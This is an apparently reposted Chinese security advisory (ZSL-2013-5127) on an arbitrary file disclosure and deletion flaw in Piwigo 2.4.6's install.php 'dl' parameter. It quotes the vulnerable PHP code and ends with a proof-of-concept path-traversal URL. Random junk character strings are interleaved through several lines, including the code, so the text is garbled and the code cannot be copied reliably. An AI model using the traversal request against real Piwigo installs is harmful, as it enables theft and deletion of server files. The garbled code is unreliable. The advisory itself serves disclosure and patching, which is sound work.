Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。
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! k& m+ B1 |) b' ~' J: @1 ]9 sPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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' z, f4 L( ?$ w/install.php:
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113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
* G, m7 {- n' L3 S( d# R115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
' {5 y& u! E* _( {: O( \# Y120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
122:   unlink($filename);
! j6 v7 f" H' B/ U! E123:   exit();
9 K3 [$ a& v9 z1 I! g124: }
3 H& g, a- E2 ~" j8 r# {====================================================================
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Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a
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Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience
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  f  A# w! p5 A* KAdvisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843

15.02.2013

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$ D" ~. ^/ f5 j0 c, @http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt

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